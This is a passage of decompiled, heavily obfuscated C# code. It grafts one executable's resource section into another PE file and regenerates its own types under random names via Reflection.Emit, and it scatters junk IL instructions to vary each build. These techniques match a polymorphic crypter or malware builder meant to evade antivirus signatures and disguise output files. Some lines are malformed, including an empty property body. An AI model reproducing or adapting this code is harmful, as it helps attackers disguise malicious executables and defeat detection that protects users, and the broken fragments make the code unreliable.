      binaryWriter.BaseStream.Seek(0L, SeekOrigin.End);
      binaryWriter.Write((uint) ilReader.Length);
      binaryWriter.Write(ilReader);
      output.Close();
    }

    private static bool ajasisBxvjsdr(string inFileName, string outFileName)
    {
      FileStream fileStream1 = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite);
      FileStream input = new FileStream(inFileName, FileMode.Open, FileAccess.Read);
      if (input == null || fileStream1 == null)
        return false;
      BinaryWriter dest1 = new BinaryWriter((Stream) fileStream1);
      BinaryReader source1 = new BinaryReader((Stream) fileStream1);
      BinaryReader source2 = new BinaryReader((Stream) input);
      xrieopydqqcD.uodsxxuliiz msdosheader1 = new xrieopydqqcD.uodsxxuliiz();
      msdosheader1.zEtgol(source2);
      xrieopydqqcD.tbetzkWdxclu tbetzkWdxclu = new xrieopydqqcD.tbetzkWdxclu();
      tbetzkWdxclu.tlnpgvuqkwqot(source2, msdosheader1);
      byte[] buffer = tbetzkWdxclu.lutszZ(source2);
      if (buffer == null)
        return false;
      xrieopydqqcD.uodsxxuliiz msdosheader2 = new xrieopydqqcD.uodsxxuliiz();
      msdosheader2.zEtgol(source1);
      xrieopydqqcD.xdohkoinFjot xdohkoinFjot = new xrieopydqqcD.xdohkoinFjot();
      xdohkoinFjot.tlnpgvuqkwqot(source1, msdosheader2);
      if (xdohkoinFjot.lutszZ(source1) != null)
        return false;
      xrieopydqqcD.cMOoOgkad cMooOgkad = (xrieopydqqcD.cMOoOgkad) xdohkoinFjot.fraswujhugwtyy[xdohkoinFjot.fraswujhugwtyy.Count - 1];
      uint num1 = (uint) ((int) ((uint) ((int) cMooOgkad.zmeiajmfzkjpje + (int) cMooOgkad.yzpzejsLoIjz + 1) / xdohkoinFjot.qcgvnlipvlodxd) * (int) xdohkoinFjot.qcgvnlipvlodxd);
      uint phsize = ((uint) buffer.Length / xdohkoinFjot.qcgvnlipvlodxd + 1U) * xdohkoinFjot.qcgvnlipvlodxd;
      uint wfcDkot = xdohkoinFjot.wfcDkot;
      uint isize = xdohkoinFjot.wfcDkot + ((uint) buffer.Length / xdohkoinFjot.oZccafviqmv + 1U) * xdohkoinFjot.oZccafviqmv;
      xrieopydqqcD.cMOoOgkad sh = new xrieopydqqcD.cMOoOgkad(".rsrc", (uint) buffer.Length, wfcDkot, phsize, num1, 1107296320U);
      xrieopydqqcD.Lxfiwlr d = new xrieopydqqcD.Lxfiwlr(wfcDkot, (uint) buffer.Length);
      dest1.BaseStream.Position = (long) num1;
      dest1.Write(buffer, 0, buffer.Length);
      int num2 = 0;
      while (true)
      {
        if ((long) num2 < (long) xdohkoinFjot.qcgvnlipvlodxd - (long) buffer.Length % (long) xdohkoinFjot.qcgvnlipvlodxd)
        {
          dest1.Write((byte) 0);
          ++num2;
        }
        else
          break;
      }
      xdohkoinFjot.lnaqeacWglxCZk(sh, source1, dest1, msdosheader2);
      xdohkoinFjot.oDleyn(d, dest1, msdosheader2);
      xdohkoinFjot.gilxoegqvcjfl(isize, dest1, msdosheader2);
      dest1.Flush();
      source1.Close();
      dest1.Close();
      FileStream fileStream2 = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite);
      BinaryReader src = new BinaryReader((Stream) fileStream2);
      BinaryWriter dest2 = new BinaryWriter((Stream) fileStream2);
      xdohkoinFjot.Rzpnwvm(num1, tbetzkWdxclu.xuhigl.oKmirJgnjsztiu, wfcDkot, src, dest2);
      dest2.Flush();
      source2.Close();
      src.Close();
      dest2.Close();
      input.Close();
      fileStream2.Close();
      return true;
    }

    public class nnqpftdznilo
    {
      private Hashtable uXrDBub;
      private Hashtable tdezqdx;
      private Hashtable oVyLaxwaigqugf;
      private Hashtable ogYpkJpu;
      private Hashtable dpvRmlkx;
      private Hashtable mrxlxxb;

      public nnqpftdznilo()
      {
        this.uXrDBub = new Hashtable();
        this.tdezqdx = new Hashtable();
        this.oVyLaxwaigqugf = new Hashtable();
        this.ogYpkJpu = new Hashtable();
        this.dpvRmlkx = new Hashtable();
        this.mrxlxxb = new Hashtable();
      }

      protected virtual void sRqTolDzloj() => this.Finalize();

      public void fdxullgeuvb()
      {
        this.uXrDBub.Clear();
        this.tdezqdx.Clear();
        this.oVyLaxwaigqugf.Clear();
        this.ogYpkJpu.Clear();
        this.dpvRmlkx.Clear();
        this.mrxlxxb.Clear();
      }

      public void iylnqouwmt(Type intype, TypeBuilder outtype) => this.uXrDBub.Add((object) intype, (object) outtype);

      public void sshton(Type intype, ModuleBuilder moduleBuilder)
      {
        if (!this.uXrDBub.ContainsKey((object) intype))
          return;
        PropertyInfo[] properties = intype.GetProperties(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
        int index1 = 0;
        while (true)
        {
          if (index1 < properties.Length)
          {
            PropertyInfo key = properties[index1];
            TypeBuilder returnType = (TypeBuilder) this.uXrDBub[(object) key.PropertyType];
            PropertyBuilder propertyBuilder;
            if (returnType != null)
              propertyBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineProperty(xrieopydqqcD.pbybjr(intype) ? xrieopydqqcD.nPsiueq.meqqpaup() : key.Name, key.Attributes, (Type) returnType, (Type[]) null);
            else
              propertyBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineProperty(xrieopydqqcD.pbybjr(intype) ? xrieopydqqcD.nPsiueq.meqqpaup() : key.Name, key.Attributes, key.PropertyType, (Type[]) null);
            this.mrxlxxb.Add((object) key, (object) propertyBuilder);
            ++index1;
          }
          else
            break;
        }
        FieldInfo[] fields = intype.GetFields(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
        int index2 = 0;
        int num1;
        for (; index2 < fields.Length; index2 = num1)
        {
          FieldInfo key = fields[index2];
          TypeBuilder typeBuilder1 = (TypeBuilder) this.uXrDBub[(object) key.FieldType];
          FieldBuilder fieldBuilder;
          if (typeBuilder1 != null)
          {
            TypeBuilder typeBuilder2 = (TypeBuilder) this.uXrDBub[(object) intype];
            string fieldName;
            if (!xrieopydqqcD.pbybjr(intype))
              fieldName = key.Name;
            else
              fieldName = xrieopydqqcD.nPsiueq.meqqpaup();
            TypeBuilder typeBuilder3 = typeBuilder1;
            int attributes = (int) key.Attributes;
            fieldBuilder = typeBuilder2.DefineField(fieldName, (Type) typeBuilder3, (FieldAttributes) attributes);
          }
          else
            fieldBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineField(xrieopydqqcD.pbybjr(intype) ? xrieopydqqcD.nPsiueq.meqqpaup() : key.Name, key.FieldType, key.Attributes);
          this.ogYpkJpu.Add((object) key, (object) fieldBuilder);
          num1 = index2 + 1;
        }
        ConstructorInfo[] constructors = intype.GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
        int num2;
        for (int index3 = 0; index3 < constructors.Length; index3 = num2 + 1)
        {
          ConstructorInfo key = constructors[index3];
          ParameterInfo[] parameters = key.GetParameters();
          Type[] parameterTypes = new Type[(int) checked ((uint) parameters.Length)];
          int index4 = 0;
          while (true)
          {
            if (index4 < parameters.Length)
            {
              TypeBuilder typeBuilder = (TypeBuilder) this.uXrDBub[(object) parameters[index4].ParameterType];
              if (typeBuilder != null)
                parameterTypes[index4] = (Type) typeBuilder;
              else
                parameterTypes[index4] = parameters[index4].ParameterType;
              ++index4;
            }
            else
              break;
          }
          ConstructorBuilder ctorBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineConstructor(key.Attributes, key.CallingConvention, parameterTypes);
          xrieopydqqcD.yqekubezBu((MethodBase) key, ref ctorBuilder);
          this.tdezqdx.Add((object) key, (object) ctorBuilder);
          num2 = index3;
        }
        EventInfo[] events = intype.GetEvents(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
        int index5 = 0;
        for (; index5 < events.Length; ++index5)
        {
          EventInfo key = events[index5];
          TypeBuilder typeBuilder = (TypeBuilder) this.uXrDBub[(object) intype];
          string name;
          if (!xrieopydqqcD.pbybjr(intype))
            name = key.Name;
          else
            name = xrieopydqqcD.nPsiueq.meqqpaup();
          int attributes = (int) key.Attributes;
          Type eventHandlerType = key.EventHandlerType;
          EventBuilder eventBuilder = typeBuilder.DefineEvent(name, (EventAttributes) attributes, eventHandlerType);
          this.oVyLaxwaigqugf.Add((object) key, (object) eventBuilder);
        }
        foreach (MethodBase method in intype.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
        {
          if (method.Name == "Main")
          {
            if ((object) method.DeclaringType == (object) typeof (xrieopydqqcD))
              continue;
          }
          if ((method.Name == "Go" ? 1 : 0) != 0 && (object) method.DeclaringType == (object) typeof (xrieopydqqcD))
            xrieopydqqcD.Ojiwadtto = method;
          ParameterInfo[] parameters = method.GetParameters();
          Type[] parameterTypes = new Type[(int) checked ((uint) parameters.Length)];
          int index6 = 0;
          while (index6 < parameters.Length)
          {
            TypeBuilder typeBuilder = (TypeBuilder) this.uXrDBub[(object) parameters[index6].ParameterType];
            if (typeBuilder != null)
              parameterTypes[index6] = (Type) typeBuilder;
            else
              parameterTypes[index6] = parameters[index6].ParameterType;
            ++index6;
          }
          Type returnType1 = ((MethodInfo) method).ReturnType;
          TypeBuilder returnType2 = this.xEKtafwb(returnType1);
          string name = method.Name;
          MethodBuilder methodBuilder;
          if (returnType2 != null)
            methodBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineMethod(!xrieopydqqcD.pbybjr(intype) || !(name != "Go") ? name : xrieopydqqcD.nPsiueq.meqqpaup(), method.Attributes, method.CallingConvention, (Type) returnType2, parameterTypes);
          else
            methodBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineMethod(!xrieopydqqcD.pbybjr(intype) || !(name != "Go") ? name : xrieopydqqcD.nPsiueq.meqqpaup(), method.Attributes, method.CallingConvention, returnType1, parameterTypes);
          xrieopydqqcD.cfwiwf(method, ref methodBuilder);
          this.dpvRmlkx.Add((object) method, (object) methodBuilder);
        }
      }

      public MethodBuilder vzIyvrjxjhnz(Type type, MethodBase methodBase) => (MethodBuilder) this.dpvRmlkx[(object) methodBase];

      public ConstructorBuilder etbaebi(Type type, ConstructorInfo ctorInfo) => (ConstructorBuilder) this.tdezqdx[(object) ctorInfo];

      public PropertyBuilder cxbxwfGbvw(Type type, PropertyInfo propertyInfo) => (PropertyBuilder) this.mrxlxxb[(object) propertyInfo];

      public FieldBuilder etqEvak(Type type, FieldInfo fieldInfo) => (FieldBuilder) this.ogYpkJpu[(object) fieldInfo];

      public EventBuilder regxwudgm(Type type, EventInfo eventInfo) => (EventBuilder) this.oVyLaxwaigqugf[(object) eventInfo];

      public TypeBuilder xEKtafwb(Type type) => (TypeBuilder) this.uXrDBub[(object) type];
    }

    private class uAfzmzmprnjlw
    {
      private ILGenerator pyhXwbpoavf;
      private LocalBuilder[] mxQycuduaewb;

      public uAfzmzmprnjlw(ILGenerator ilGenerator, LocalBuilder[] localBuilders)
      {
        this.pyhXwbpoavf = ilGenerator;
        this.mxQycuduaewb = localBuilders;
      }

      public void qwghiubYc()
      {
        if (xrieopydqqcD.fhekWzTk.Next(5) == 0)
          this.pyhXwbpoavf.Emit(OpCodes.Nop);
        if (xrieopydqqcD.fhekWzTk.Next(10) != 0)
          return;
        if (this.mxQycuduaewb.Length <= 0)
          return;
        LocalBuilder local = this.mxQycuduaewb[xrieopydqqcD.fhekWzTk.Next(this.mxQycuduaewb.Length)];
        this.pyhXwbpoavf.Emit(OpCodes.Ldloc, local);
        this.pyhXwbpoavf.Emit(OpCodes.Pop);
      }
    }

    private sealed class AssemblyProvider : IAssemblyProvider
    {
      public Assembly[] GetAssemblies() => throw new NotImplementedException();

      public Assembly Load(string assemblyName) => Assembly.Load(assemblyName);
    }

    private class uodsxxuliiz
    {
      protected int ftxnMowORygvdi;
      protected byte[] kRfqbwulkgqAc = new byte[128];

      [SpecialName]
      public int tpgqkpkucfthn() => this.ftxnMowORygvdi;

      public void zEtgol(BinaryReader source)
      {
        source.Read(this.kRfqbwulkgqAc, 0, this.kRfqbwulkgqAc.Length);
        this.ftxnMowORygvdi = (int) this.kRfqbwulkgqAc[60] | (int) this.kRfqbwulkgqAc[61] << 8 | (int) this.kRfqbwulkgqAc[62] << 16 | (int) this.kRfqbwulkgqAc[63] << 24;
      }
      int VkfuAdueietrwf { }
    }

    private class tbetzkWdxclu
    {
      protected byte[] dbuWVyWvoyZ = new byte[4];
      protected ushort fwdfRfznhOP;
      protected ushort Wlamzygz;
      protected int qhrwbqlgjeoO;
      protected ushort gagildi;
      protected ushort pzvoswu;
      protected ushort kckVuizcbcDAow;
      protected byte kowgmxxN;
      protected byte opvRlWhhwc;
      protected uint dwoefnpXutrz;
      protected uint FqAkzdugl;
      protected uint jrkcihx;
      protected uint ioFCpuzmgW;
      protected uint OgxbrfWjfwvxwm;
      protected uint bbrkwfgyuKmfs;
      protected uint omoJiRDqs;
      public uint oZccafviqmv;
      public uint qcgvnlipvlodxd;
      protected ushort flvrzqKsjfyfpn;
      protected ushort czrifgkq;
      protected ushort eknxaubvtjjjk;
      protected ushort yOpmdvr;
      protected ushort qodlrg;
      protected ushort lajYmep;
      protected uint oipcvaNwis;
      public uint wfcDkot;
      protected uint rniejlqwwqeGiq;
      protected uint lTcTlrfjb;
      protected uint ordPiyulwi;
      protected uint cKyyxgqvrn;
      protected uint lnxuntdcaF;
      protected uint LSdpeugiccJ;
      protected uint mntqhkrna;
      protected uint izxuyCw;
      protected uint fqwnmW;
      protected xrieopydqqcD.Lxfiwlr chybnpzSfnk;
      protected xrieopydqqcD.Lxfiwlr CjVmbDjahhu;
      public xrieopydqqcD.Lxfiwlr xuhigl;
      protected xrieopydqqcD.Lxfiwlr pgaovje;
      protected xrieopydqqcD.Lxfiwlr Awcmafsxyoyoz;
      protected xrieopydqqcD.Lxfiwlr bkcbcbrPTv;
      protected xrieopydqqcD.Lxfiwlr xLqhoJnfdauco;
      protected xrieopydqqcD.Lxfiwlr iuefJadjlmSqs;
      protected xrieopydqqcD.Lxfiwlr HBhaviAgqQwgd;
      protected xrieopydqqcD.Lxfiwlr cwEkaj;
      protected xrieopydqqcD.Lxfiwlr coclmzbixmBz;
      protected xrieopydqqcD.Lxfiwlr epghzbnpylrmcw;
      protected xrieopydqqcD.Lxfiwlr qVcukYccYwphdc;
      protected xrieopydqqcD.Lxfiwlr iRxpIqtk;
      public xrieopydqqcD.Lxfiwlr ojdawxlVjc;
      public xrieopydqqcD.Lxfiwlr enqfwxab;
      public ArrayList fraswujhugwtyy;

      public byte[] lutszZ(BinaryReader source)
      {
        byte[] numArray;
        try
        {
          if (this.xuhigl.oKmirJgnjsztiu != 0U)
          {
            source.BaseStream.Position = (long) this.puHuafvnRne(this.xuhigl.oKmirJgnjsztiu);
            numArray = source.ReadBytes((int) this.xuhigl.xFnWepm);
          }
          else
            numArray = (byte[]) null;
        }
        catch
        {
          numArray = (byte[]) null;
        }
        return numArray;
      }

      public void tlnpgvuqkwqot(BinaryReader source, xrieopydqqcD.uodsxxuliiz msdosheader)
      {
        source.BaseStream.Position = (long) msdosheader.tpgqkpkucfthn();
        source.Read(this.dbuWVyWvoyZ, 0, 4);
        if (this.dbuWVyWvoyZ[0] == (byte) 80 && this.dbuWVyWvoyZ[1] == (byte) 69 && this.dbuWVyWvoyZ[2] == (byte) 0)
        {
          if (this.dbuWVyWvoyZ[3] == (byte) 0)
          {
            this.fwdfRfznhOP = source.ReadUInt16();
            if (this.fwdfRfznhOP != (ushort) 332)
              throw new Exception("Incorrect machine id code");
            this.Wlamzygz = source.ReadUInt16();
            this.qhrwbqlgjeoO = source.ReadInt32();
            if (source.ReadInt32() != 0)
              throw new Exception("Symbol table offset != 0");
            this.gagildi = source.ReadInt32() == 0 ? source.ReadUInt16() : throw new Exception("Symbol table count != 0");
            this.pzvoswu = source.ReadUInt16();
            this.kckVuizcbcDAow = source.ReadUInt16();
            if (this.kckVuizcbcDAow != (ushort) 267)
              throw new Exception("Bad magic number for PE Optional Header");
            this.kowgmxxN = source.ReadByte();
            this.opvRlWhhwc = source.ReadByte();
            if (this.kowgmxxN != (byte) 6 || this.opvRlWhhwc != (byte) 0)
              throw new Exception("Bad L number");
            this.dwoefnpXutrz = source.ReadUInt32();
            this.FqAkzdugl = source.ReadUInt32();
            this.jrkcihx = source.ReadUInt32();
            this.ioFCpuzmgW = source.ReadUInt32();
            this.OgxbrfWjfwvxwm = source.ReadUInt32();
            this.bbrkwfgyuKmfs = source.ReadUInt32();
            this.omoJiRDqs = source.ReadUInt32();
            this.oZccafviqmv = source.ReadUInt32();
            this.qcgvnlipvlodxd = source.ReadUInt32();
            this.flvrzqKsjfyfpn = source.ReadUInt16();
            this.czrifgkq = source.ReadUInt16();
            this.eknxaubvtjjjk = source.ReadUInt16();
            this.yOpmdvr = source.ReadUInt16();
            this.qodlrg = source.ReadUInt16();
            this.lajYmep = source.ReadUInt16();
            int num1 = (int) source.ReadUInt32();
            this.wfcDkot = source.ReadUInt32();
            this.oipcvaNwis = source.ReadUInt32();
            this.rniejlqwwqeGiq = source.ReadUInt32();
            this.lTcTlrfjb = (uint) source.ReadUInt16();
            this.ordPiyulwi = (uint) source.ReadUInt16();
            this.cKyyxgqvrn = source.ReadUInt32();
            this.lnxuntdcaF = source.ReadUInt32();
            this.LSdpeugiccJ = source.ReadUInt32();
            this.mntqhkrna = source.ReadUInt32();
            this.izxuyCw = source.ReadUInt32();
            this.fqwnmW = source.ReadUInt32();
            this.chybnpzSfnk = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.CjVmbDjahhu = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.xuhigl = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.pgaovje = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.Awcmafsxyoyoz = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.bkcbcbrPTv = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.xLqhoJnfdauco = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.iuefJadjlmSqs = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.HBhaviAgqQwgd = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.cwEkaj = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.coclmzbixmBz = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.epghzbnpylrmcw = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.qVcukYccYwphdc = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.iRxpIqtk = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.ojdawxlVjc = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.enqfwxab = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32());
            this.fraswujhugwtyy = new ArrayList();
            int num2;
            for (int index = 0; index < (int) this.Wlamzygz; index = num2)
            {
              this.fraswujhugwtyy.Add((object) new xrieopydqqcD.cMOoOgkad());
              ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).cpjyNhkOdatzKl(source);
              num2 = index + 1;
            }
            return;
          }
        }
        throw new Exception("Missing PE file signature");
      }

      public uint puHuafvnRne(uint rva)
      {
        int index = 0;
        while (true)
        {
          if (index < this.fraswujhugwtyy.Count)
          {
            if (((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).hexohhn <= rva)
            {
              if (rva < (uint) ((int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).hexohhn + (int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).huntmwlbo))
                break;
            }
            ++index;
          }
          else
            goto label_6;
        }
        return (uint) ((int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).zmeiajmfzkjpje + ((int) rva - (int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).hexohhn));
label_6:
        throw new Exception("Unresolvable RVA " + (object) rva);
      }
    }

    private class xdohkoinFjot : xrieopydqqcD.tbetzkWdxclu
    {
      public void oDleyn(
        xrieopydqqcD.Lxfiwlr d,
        BinaryWriter dest,
        xrieopydqqcD.uodsxxuliiz msdosheader)
      {
        dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 136);
        dest.Write(d.oKmirJgnjsztiu);
        dest.Write(d.xFnWepm);
      }

      public void lnaqeacWglxCZk(
        xrieopydqqcD.cMOoOgkad sh,
        BinaryReader source,
        BinaryWriter dest,
        xrieopydqqcD.uodsxxuliiz msdosheader)
      {
        source.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 6);
        ushort num = source.ReadUInt16();
        dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 6);
        dest.Write((int) num + 1);
        dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 248 + (int) num * 40);
        sh.uwpzuX(dest);
      }

      public void gilxoegqvcjfl(
        uint isize,
        BinaryWriter dest,
        xrieopydqqcD.uodsxxuliiz msdosheader)
      {
        dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 80);
        dest.Write(isize);
      }

      public void Rzpnwvm(
        uint resOffset,
        uint oldResRVA,
        uint newResRVA,
        BinaryReader src,
        BinaryWriter dest)
      {
        this.sgrmeipkAnBhqm(resOffset, 0U, oldResRVA, newResRVA, src, dest);
      }

      private void sgrmeipkAnBhqm(
        uint resOffset,
        uint nodeOffset,
        uint oldResRVA,
        uint newResRVA,
        BinaryReader src,
        BinaryWriter dest)
      {
        src.BaseStream.Position = (long) (uint) ((int) resOffset + (int) nodeOffset + 12);
        ushort num1 = (ushort) ((int) src.ReadUInt16() + (int) src.ReadUInt16());
        for (int index = 0; index < (int) num1; ++index)
        {
          int num2 = (int) src.ReadUInt32();
          uint num3 = src.ReadUInt32();
          long position = src.BaseStream.Position;
          if (((int) num3 & int.MinValue) != 0)
            this.sgrmeipkAnBhqm(resOffset, num3 & (uint) int.MaxValue, oldResRVA, newResRVA, src, dest);
          else
            this.zpsnikHqgjml(resOffset + num3, oldResRVA, newResRVA, src, dest);
          src.BaseStream.Position = position;
        }
      }

      private void zpsnikHqgjml(
        uint dataOffset,
        uint oldResRVA,
        uint newResRVA,
        BinaryReader src,
        BinaryWriter dest)
      {
        src.BaseStream.Position = (long) dataOffset;
        uint num = (uint) ((int) src.ReadUInt32() + (int) newResRVA) - oldResRVA;
        dest.BaseStream.Position = src.BaseStream.Position - 4L;
        dest.Write(num);
        dest.BaseStream.Position += 12L;
        src.BaseStream.Position += 12L;
      }
    }

    private class Lxfiwlr
    {
      public uint oKmirJgnjsztiu;
      public uint xFnWepm;

      public Lxfiwlr(uint rva, uint size)
      {
        this.oKmirJgnjsztiu = rva;
        this.xFnWepm = size;
      }

      public virtual string havcSukidKb() => "0x" + this.oKmirJgnjsztiu.ToString("X8") + ",0x" + this.xFnWepm.ToString("X8");
    }

    private class cMOoOgkad
    {
      public byte[] sqfdnCu;
      public uint huntmwlbo;
      public uint hexohhn;
      public uint yzpzejsLoIjz;
      public uint zmeiajmfzkjpje;
      protected uint bsmgrjy;
      protected uint bbckpgkiwla;
      protected ushort azhalHymxuSN;
      protected ushort jnmirtxawxXta;
      public uint fbkZmonjqz;

      public cMOoOgkad()
      {
        this.jnmirtxawxXta = (ushort) 0;
        this.azhalHymxuSN = (ushort) 0;
        this.bbckpgkiwla = 0U;
        this.bsmgrjy = 0U;
      }

      public cMOoOgkad(
        string strname,
        uint vsize,
        uint vaddr,
        uint phsize,
        uint phoffs,
        uint flags)
      {
        this.sqfdnCu = new byte[8];
        int num;
        for (int index = 0; index < strname.Length && index < 8; index = num + 1)
        {
          this.sqfdnCu[index] = (byte) strname[index];
          num = index;
        }
        this.huntmwlbo = vsize;
        this.hexohhn = vaddr;
        this.yzpzejsLoIjz = phsize;
        this.zmeiajmfzkjpje = phoffs;
        this.fbkZmonjqz = flags;
        this.jnmirtxawxXta = (ushort) 0;
        this.azhalHymxuSN = (ushort) 0;
        this.bbckpgkiwla = 0U;
        this.bsmgrjy = 0U;
      }

      public void uwpzuX(BinaryWriter dest)
      {
        dest.Write(this.sqfdnCu, 0, 8);
        dest.Write(this.huntmwlbo);
        dest.Write(this.hexohhn);
        dest.Write(this.yzpzejsLoIjz);
        dest.Write(this.zmeiajmfzkjpje);
        dest.Write(this.bsmgrjy);
        dest.Write(this.bbckpgkiwla);
        dest.Write(this.azhalHymxuSN);
        dest.Write(this.jnmirtxawxXta);
        dest.Write(this.fbkZmonjqz);
      }

      public void cpjyNhkOdatzKl(BinaryReader source)
      {
        this.sqfdnCu = new byte[8];
        source.Read(this.sqfdnCu, 0, 8);
        this.huntmwlbo = source.ReadUInt32();
        this.hexohhn = source.ReadUInt32();
        this.yzpzejsLoIjz = source.ReadUInt32();
        this.zmeiajmfzkjpje = source.ReadUInt32();
        this.bsmgrjy = source.ReadUInt32();
        this.bbckpgkiwla = source.ReadUInt32();
        this.azhalHymxuSN = source.ReadUInt16();
        this.jnmirtxawxXta = source.ReadUInt16();
        this.fbkZmonjqz = source.ReadUInt32();
      }
    }

    private class ckefmcnikpjcme
    {
      private Random rremja;
      private int goekrx;
      private int sloxWqfbt;

      public ckefmcnikpjcme(int len1, int len2, int seed)
      {
        this.rremja = new Random(seed);
        this.goekrx = len1;
        this.sloxWqfbt = len2;
      }

      public string meqqpaup()
      {
        string str = "";
        int num1 = this.rremja.Next(this.goekrx, this.sloxWqfbt);
        int num2;
        for (int index = 0; index < num1; index = num2 + 1)
        {
          if (this.rremja.Next(8) == 1)
            str += (string) (object) (char) (65 + this.rremja.Next(26));
          else
            str += (string) (object) (char) (97 + this.rremja.Next(26));
          num2 = index;
        }
        return str;
      }
    }
  }
}
